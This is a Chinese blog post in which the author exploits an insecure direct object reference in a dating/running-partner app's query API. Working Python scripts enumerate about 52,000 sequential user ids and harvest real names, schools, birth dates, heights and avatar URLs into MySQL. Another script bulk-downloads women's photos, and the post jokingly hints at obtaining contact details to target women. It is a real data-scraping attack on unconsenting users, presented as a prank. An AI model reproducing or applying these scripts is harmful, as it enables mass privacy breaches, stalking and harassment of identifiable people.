记一次通过某软件的查询接口获取MM信息
0x01 前言
昨晚刚想掏出尘封多年的武林秘籍(线代)来学习时,听见室友在抱怨说:wing,上次你说的那个优雅的监听女友的方法然并卵啊,女朋友是啥?能吃吗?好吃吗?心疼的抱住自己。QAQ
![](https://img.haomeiwen.com/i3846885/e4a70dbb2beb71f1.jpg)
wing:亲,表哭,要坚强!你还记得我们平时最讨厌的那个软件吗?我们可以试着用这个来搞事情。
0x02 搞事开始
打开那个软件,里面有一个功能,就是约跑--跑步的跑,我点开了一个长得还不错的妹子的照骗,虽然是ps的,但是认命吧,骚年!
![](https://img.haomeiwen.com/i3846885/97ac3b1689c55f75.jpg)
MM是不是还行咩(联系方式我是不会给你们的,想都不要想!)
接下来该怎么做呢?emmm
掏出了神器burp,抓一波包。
我们来看看查询信息那个请求:
![](https://img.haomeiwen.com/i3846885/d88fd3955f224178.png)
因为涉及到MM隐私,我必须全屏打码,hhhh。
图中可以看到,发送了一个get请求,请求的是partner的id,然后返回的是MM的个人信息。unicode编码的,后面python处理的时候我会讲到。
于是我尝试更改不同的id,看能不能返回其他用户的信息,结果当然是ojbk,不然没有后面的故事了。
那么,py吧!
大体测了一下,好像有5w+的用户,当然不可能全部是MM,这是同性交友软件,呸,异性交流软件。
还有就是,软件里看到的信息和get请求发送的包返回的信息不一样,软件里面看不到姓名,但是在返回包里面能看到用户真实姓名以及用户在这个软件的唯一id。
在编写脚本之前,我想了想这东西存到哪?后面决定放数据库吧。
给个小tips,Python里面怎么将unicode转中文:
str = s.decode('unicode_escape')
输了一下,有20多个字段,但是有些并不是我想要的,我把想要的数据筛选出来,然后一个一个的split,累死我了。
![](https://img.haomeiwen.com/i3846885/f6500949c28da641.png)
脚本用到的库还是那几个:
# _*_ coding:utf-8 _*_
import requests
import re
import MySQLdb
import urllib2
先新建数据库,然后通过python新建表,核心代码如下:
db = MySQLdb.connect('localhost','root','root','pu',charset="utf8")
cursor = db.cursor()
# createtable = """CREATE TABLE USER_DATA(
# userid CHAR(100) NOT NULL,
# id CHAR(100) NOT NULL,
# media_id CHAR(100) NOT NULL,
# username CHAR(100) NOT NULL,
# sex CHAR(100) NOT NULL,
# home CHAR(100) NOT NULL,
# imgurl CHAR(100) NOT NULL,
# school CHAR(100) NOT NULL,
# subject CHAR(100) NOT NULL,
# height CHAR(100) NOT NULL,
# birth CHAR(100) NOT NULL,
# star CHAR(100) NOT NULL,
# introduce CHAR(100) NOT NULL,
# except_her CHAR(100) NOT NULL,
# secter CHAR(100) NOT NULL,
# head_url CHAR(100) NOT NULL,
# is_sell CHAR(100) NOT NULL
# )"""
cursor.execute(createtable)
db.close()
#因为时间原因,想早点睡觉,字段我就全char(100)了 ORZ
然后就是提取字段:
for i in range(1,52020):
url= "http://hackerwing.com?id=%s" % i
req = requests.get(url=url,headers=headers)
req1 = req.content.split(",")
if u"xxoo" in req.content.decode("unicode_escape"):
id =0
media_id = 0
username = 0
sex = 0
home = 0
imgurl = 0
school = 0
subject = 0
height = 0
birth = 0
star = 0
introduce = 0
except_her = 0
secter = 0
head_url = 0
is_sell = 0
else:
id = req1[1][-8:].strip(":").strip('"')
uid = req1[2].split(':')
userid = uid[1].strip('"')
str2 = req1[3].split(':')
media_id = str2[1].strip('"')
username = req1[-1].decode('unicode_escape').split(':')[1].strip('"').strip('}').strip('"').strip("\'")
sex = req1[5].split(':')[1].strip('"')
str3 = req1[4].decode("unicode_escape")
home = str3.split(':')[1].strip('"').strip("'")
imgurl = req1[6].split(":")[2].strip('\\').strip('"').strip('\\')
school = req1[8].decode("unicode_escape").split(':')[1].strip(":").strip('"')
subject = req1[9].decode('unicode_escape').split(':')[1].strip(':').strip('"')
height = req1[11].split(':')[1].strip('"')
birth = req1[12].split(':')[1].strip('"')
star = req1[13].decode('unicode_escape').split(':')[1].strip('"')
introduce = req1[14].decode('unicode_escape').split(':')[1].strip('"')
except_her = req1[15].decode('unicode_escape')
secter = req1[16]
head_url = req1[-2]
is_sell = req1[-7].split(':')[1].strip('"')
上面xxoo那里的意思是防止查询出错,因为有些id是失效了的,会返回一个错误提示,若出现那个,我就把哪些字段全设置成0,跳过去。下面的就是数据筛选的,弄得我吐血,我想要的有17个字段。
数据入库:
db = MySQLdb.connect('localhost','root','root','wing',charset="utf8")
cursor = db.cursor()
# creattable = """CREATE TABLE USER_DATA(
# userid CHAR(100) NOT NULL,
# id CHAR(100) NOT NULL,
# media_id CHAR(100) NOT NULL,
# username CHAR(100) NOT NULL,
# sex CHAR(100) NOT NULL,
# home CHAR(100) NOT NULL,
# imgurl CHAR(100) NOT NULL,
# school CHAR(100) NOT NULL,
# subject CHAR(100) NOT NULL,
# height CHAR(100) NOT NULL,
# birth CHAR(100) NOT NULL,
# star CHAR(100) NOT NULL,
# introduce CHAR(100) NOT NULL,
# except_her CHAR(100) NOT NULL,
# secter CHAR(100) NOT NULL,
# head_url CHAR(100) NOT NULL,
# is_sell CHAR(100) NOT NULL
# )"""
print id, media_id, username, sex, home, imgurl, school, subject, height, birth, star, introduce, except_her, secter, head_url, is_sell
Insertsql = """
INSERT INTO USER_DATA(
userid,id,media_id,username,sex,home,imgurl,school,subject,height,birth,star,introduce,except_her,secter,head_url,is_sell)
VALUES ('%s', '%s', '%s', '%s', '%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s' ) """ % (userid,id,media_id,username,sex,home,imgurl,school,subject,height,birth,star,introduce,except_her,secter,head_url,is_sell)
cursor.execute(Insertsql)
db.close()
![](https://img.haomeiwen.com/i3846885/5ee31cb5c97d6645.png)
0x03 搞事成果
我们来看看成果吧
![](https://img.haomeiwen.com/i3846885/660e01d6e8ce5ca5.png)
怎么样,哈哈。
sex值为2的是妹子,为1的基佬。为0的是...妖怪吧,反正没有0的。
人家期待的对象以及身高之类的。
信安妹子其实还是蛮多的。
![](https://img.haomeiwen.com/i3846885/b7d970f84079d937.jpg)
细心地兄dei(基佬)会发现我把headurl也保存了,也就是头像地址,那这样不就有一波妹子照片了吗,比什么煎蛋好多了。
![](https://img.haomeiwen.com/i3846885/f4994b28295afd11.png)
有些id是失效的,so。爬取图片的脚本需要和之前一样做过滤。
先看看成果:
![](https://img.haomeiwen.com/i3846885/af08a5fc0cef6157.png)
代码:
for i in range(34563,43213):
url= "http://bucunzaide?id=%s" % i
req = requests.get(url=url,headers=headers)
req1 = req.content.split(",")
if u"失效的卡片" in req.content.decode("unicode_escape"):
imgurl = 'http://hackering.com'
# imgurl = urllib2.quote(img)
else :
sex = req1[5].split(':')[1].strip('"')
if int(sex) == 2:
print sex
img = req1[6].split(':')[2].strip('"').replace('\\','')
#保存图片啦!
url = 'http:' + img
print url
urllib.urlretrieve(url,filename='C:\Users\wing\Desktop\pu/'+str(i)+'.jpg')
不对,我只要mm照片我不要男的。我又不是GAY!
![](https://img.haomeiwen.com/i3846885/32a0a749311c181d.png)
骚等我去改改代码。
![](https://img.haomeiwen.com/i3846885/959df949f204e4ed.png)
尼玛,sex=2的才是女的,错了错了。
![](https://img.haomeiwen.com/i3846885/c6b74b1f4d6dfc2b.png)
![](https://img.haomeiwen.com/i3846885/98a89d017e34073e.jpg)
![](https://img.haomeiwen.com/i3846885/c3718191c0ac9d53.jpg)
等等,我看到了竟然有人比我帅
![](https://img.haomeiwen.com/i3846885/28c6be803a175a7c.png)
![](https://img.haomeiwen.com/i3846885/1e96b5d96bf22961.png)
好看的我尽量不打码满足你们内心的(禽兽)欲望。
![](https://img.haomeiwen.com/i3846885/7bfc3c16c8e2be6d.jpg)
其实你们肯定想问了,这么多好看的妹子,有联系方式吗?
我想说,肯定有啊,但是这里就不公布了,那就属于高度隐私了。
想要?你想都不要想。
对了,我还可以专门筛选出信安妹子的照片,那个需要正则匹配一下。
筛选出来之后,就可以针对性的去找喜欢的妹子,联系方式问题不是很大,
但是这里不多说。
Summary
最后的总结:
我有一句话想问现在的朋友们,喜欢你的人和你喜欢的人你会选哪一个?
我想说,不管你喜欢谁, 如果没有绝对的把握,就别去害人害己。
自己一身的刺,就别想着去拥抱!
![](https://img.haomeiwen.com/i3846885/4053e7a4a3a2b0c7.png)
一个辣鸡的博客:hackerwing.com